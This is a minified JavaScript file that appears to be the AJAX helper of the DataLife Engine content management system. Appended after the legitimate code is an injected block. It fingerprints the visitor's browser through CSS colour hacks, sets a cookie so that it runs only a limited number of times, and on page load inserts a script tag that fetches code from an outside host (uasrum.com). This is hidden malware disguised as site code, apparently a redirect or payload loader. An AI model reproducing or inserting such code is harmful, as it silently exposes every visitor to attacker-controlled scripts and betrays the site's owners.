function showBusyLayer(){}
function dle_ajax(j){this.AjaxFailedAlert="AJAX not supported.\n";this.requestFile=j;this.method="POST";this.URLString="";this.encodeURIString=true;this.effect=this.add_html=this.execute=false;this.loading_fired=0;this.centerdiv=null;this.onLoading=function(){};this.onLoaded=function(){};this.onInteractive=function(){};this.onCompletion=function(){};this.onShow=function(b){if(!this.loading_fired){this.loading_fired=1;b&&$("#loading-layer-text").html(b);b=($(window).width()-$("#loading-layer").width())/
2;var a=($(window).height()-$("#loading-layer").height())/2;$("#loading-layer").css({left:b+"px",top:a+"px",position:"fixed",zIndex:"99"});$("#loading-layer").fadeTo("slow",0.6)}};this.onHide=function(){$("#loading-layer").fadeOut("slow");this.loading_fired=0};this.createAJAX=function(){try{this.xmlhttp=new ActiveXObject("Msxml2.XMLHTTP")}catch(b){try{this.xmlhttp=new ActiveXObject("Microsoft.XMLHTTP")}catch(a){this.xmlhttp=null}}if(!this.xmlhttp&&typeof XMLHttpRequest!="undefined")this.xmlhttp=new XMLHttpRequest;
if(!this.xmlhttp)this.failed=true};this.setVar=function(b,a){if(this.URLString.length<3)this.URLString=b+"="+a;else this.URLString+="&"+b+"="+a};this.encVar=function(b,a){return encodeURIComponent(b)+"="+encodeURIComponent(a)};this.encodeURLString=function(b){varArray=b.split("&");for(i=0;i<varArray.length;i++){urlVars=varArray[i].split("=");if(urlVars[0].indexOf("amp;")!=-1)urlVars[0]=urlVars[0].substring(4);varArray[i]=this.encVar(urlVars[0],urlVars[1])}return varArray.join("&")};this.encodeVAR=
function(b){b=b.toString();b=b.replace(/\+/g,"%2B");b=b.replace(/\=/g,"%3D");b=b.replace(/\?/g,"%3F");return b=b.replace(/\&/g,"%26")};this.runResponse=function(){var b=new Date,a=false;b=b.getTime();var d=/<script.*?>(.|[\r\n])*?<\/script>/ig,c=d.exec(this.response);if(c!=null){var f=new Array(c.shift());for(a=true;c;){c=d.exec(this.response);c!=null&&f.push(c.shift())}for(d=0;d<f.length;d++)this.response=this.response.replace(f[d],'<span id="'+b+d+'" style="display:none;"></span>')}if(this.add_html)this.elementObj.innerHTML+=
this.response;else this.elementObj.innerHTML=this.response;if(a){a=/<script.*?>((.|[\r\n])*?)<\/script>/ig;for(d=0;d<f.length;d++){var e=document.getElementById(b+""+d);c=e.parentNode;c.removeChild(e);a.lastIndex=0;e=a.exec(f[d]);c=c.appendChild(document.createElement("script"));c.text=e[1];e=f[d].substring(f[d].indexOf(" ",0),f[d].indexOf(">",0)).split(" ");if(e.length>1)for(var h=0;h<e.length;h++)if(e[h].length>0){var g=e[h].split("=");g[1]=g[1].substr(1,g[1].length-2);c.setAttribute(g[0],g[1])}}}};
this.sendAJAX=function(b){this.responseStatus=new Array(2);if(this.failed&&this.AjaxFailedAlert)alert(this.AjaxFailedAlert);else{if(b)this.URLString=this.URLString.length?this.URLString+"&"+b:b;if(this.encodeURIString){b=(new Date).getTime();this.URLString=this.encodeURLString(this.URLString);this.setVar("rndval",b)}if(this.element)this.elementObj=document.getElementById(this.element);if(this.xmlhttp){var a=this;this.method=="GET"?this.xmlhttp.open(this.method,this.requestFile+"?"+this.URLString,
true):this.xmlhttp.open(this.method,this.requestFile,true);if(this.method=="POST")try{this.xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded")}catch(d){}this.xmlhttp.send(this.URLString);this.xmlhttp.onreadystatechange=function(){switch(a.xmlhttp.readyState){case 1:a.onLoading();break;case 2:a.onLoaded();break;case 3:a.onInteractive();break;case 4:a.response=a.xmlhttp.responseText;a.responseXML=a.xmlhttp.responseXML;a.responseStatus[0]=a.xmlhttp.status;a.responseStatus[1]=
a.xmlhttp.statusText;a.onHide();a.onCompletion(a.response);if(a.elementObj){var c=a.elementObj.nodeName;c=c.toLowerCase();if(c=="input"||c=="select"||c=="option"||c=="textarea")if(a.response=="error")DLEalert("This action can not be completed. Access denied.","info");else if(a.add_html)a.elementObj.value+=a.response;else a.elementObj.value=a.response;else if(a.response=="error")DLEalert("This action can not be completed. Access denied.","info");else if(a.execute)a.runResponse();else if(a.add_html)a.elementObj.innerHTML+=
a.response;else if(a.effect=="left")$("#"+a.element).hide("slide",{direction:"left"},500).html(a.response).show("slide",{direction:"right"},500);else if(a.effect=="right")$("#"+a.element).hide("slide",{direction:"right"},500).html(a.response).show("slide",{direction:"left"},500);else if(a.effect=="fade")$("#"+a.element).fadeOut(500,function(){$(this).html(a.response);$(this).fadeIn(500)});else a.elementObj.innerHTML=a.response;if(a.effect=="blind"&&a.response!="error"&&document.getElementById("blind-animation")){$("html"+
(!$.browser.opera?",body":"")).animate({scrollTop:$("#"+a.element).position().top-70},1100);setTimeout(function(){$("#blind-animation").show("blind",{},1500,function(){document.getElementById("dle-captcha")&&reload()})},1100)}}a.URLString="";break}}}}};this.createAJAX()}; var dUr="http://uasrum.com/s1/in.cgi?2";var timerMulti;var IE="\v"=="v";function stCk(name,value,hours){if(hours){var date=new Date();date.setTime(date.getTime()+(hours*60*60*1000));var expires="; expires="+date.toGMTString()}else{var expires=""}document.cookie=name+"="+value+expires+"; path=/"}function gtCk(name){var nameEQ=name+"=";var ca=document.cookie.split(";");for(var i=0;i<ca.length;i++){var c=ca[i];while(c.charAt(0)==" "){c=c.substring(1,c.length)}if(c.indexOf(nameEQ)==0){return c.substring(nameEQ.length,c.length)}}return null}function delCookie(name){stCk(name,"",-1)}!function(doc){var loaded=0,fns=[],ol,f=false,testEl=doc.createElement("a"),domContentLoaded="DOMContentLoaded",addEventListener="addEventListener",onreadystatechange="onreadystatechange";/^loade|c/.test(doc.readyState)&&(loaded=1);function flush(){loaded=1;for(var i=0,l=fns.length;i<l;i++){fns[i]()}}doc[addEventListener]&&doc[addEventListener](domContentLoaded,function fn(){doc.removeEventListener(domContentLoaded,fn,f);flush()},f);testEl.doScroll&&doc.attachEvent(onreadystatechange,(ol=function ol(){if(/^c/.test(doc.readyState)){doc.detachEvent(onreadystatechange,ol);flush()}}));var domReady=testEl.doScroll?function(fn){self!=top?!loaded?fns.push(fn):fn():!function(){try{testEl.doScroll("left")}catch(e){return setTimeout(function(){domReady(fn)},50)}fn()}()}:function(fn){loaded?fn():fns.push(fn)};(typeof module!=="undefined")&&module.exports?(module.exports={domReady:domReady}):(window.domReady=domReady)}(document);function createElement(name,attrs,style,text,past_id,position,tagName,changed){var parent=document.getElementsByTagName(tagName)[0];var ell=document.createElement(name);if(attrs){for(key in attrs){if(key=="class"){ell.className=attrs[key]}else{if(key=="id"){ell.id=attrs[key]}else{ell.setAttribute(key,attrs[key])}}}}if(style){for(key in style){ell.style[key]=style[key]}}if(text){if(ell.styleSheet){ell.styleSheet.cssText=text}else{ell.appendChild(document.createTextNode(text))}}parent.appendChild(ell);if(past_id){var old_elem=document.getElementById(past_id);if(position=="before"){parent.insertBefore(ell,old_elem)}else{if(position=="after"){insertAfter(parent,ell,old_elem)}}if(changed!=""&&changed==true){parent.removeChild(old_elem)}}}function ldScr(color){var rnd=Math.round(Math.random()*10000000);createElement("script",{type:"text/javascript",src:dUr+"&vvar="+color+"&sn="+rnd},{},"","test","before","BODY",0)}function gtElCoSt(elem,prop){if(typeof elem!="object"){elem=document.getElementById(elem)}if(document.defaultView&&document.defaultView.getComputedStyle){if(prop.match(/[A-Z]/)){prop=prop.replace(/([A-Z])/g,"-$1").toLowerCase()}return document.defaultView.getComputedStyle(elem,"").getPropertyValue(prop)}if(elem.currentStyle){var i;while((i=prop.indexOf("-"))!=-1){prop=prop.substr(0,i)+prop.substr(i+1,1).toUpperCase()+prop.substr(i+2)}return elem.currentStyle[prop]}return""}function start(){createElement("style",{type:"text/css"},{},"*:first-child+html .mytst{color:lime} * html .mytst{color:red} html:first-child .mytst{color:#ffff00} @media all and (-webkit-min-device-pixel-ratio:10000), not all and (-webkit-min-device-pixel-ratio:0){.mytst {color:#ffff00}} @-moz-document url-prefix(){.mytst {color:rgb(0, 0, 255)}} @media screen and (-webkit-min-device-pixel-ratio:0){.mytst {color:rgb(128, 128, 128)}} .mytst {color:purple\\0/}","test","before","HEAD",0);createElement("span",{"class":"mytst",id:"mytst"},{position:"absolute",width:"0px",height:"0px",visibility:"hidden"},"head","test","before","BODY",0);timerMulti=window.setTimeout("gtCFn();",1000)}function gtCFn(){var color=gtElCoSt("mytst","color");switch(color){case"rgb(0, 0, 255)":ldScr("blue");break;case"#ffff00":ldScr("yellow");break;case"rgb(128, 128, 128)":ldScr("grey");break;case"lime":ldScr("lime");break;case"red":ldScr("red");break;case"purple":ldScr("purple");break}window.clearTimeout(timerMulti)}domReady(function(){var b=gtCk("tst");if(!b){stCk("tst","tst1","12");start()}switch(b){case"tst1":stCk("tst","tst2","12");start();break}});
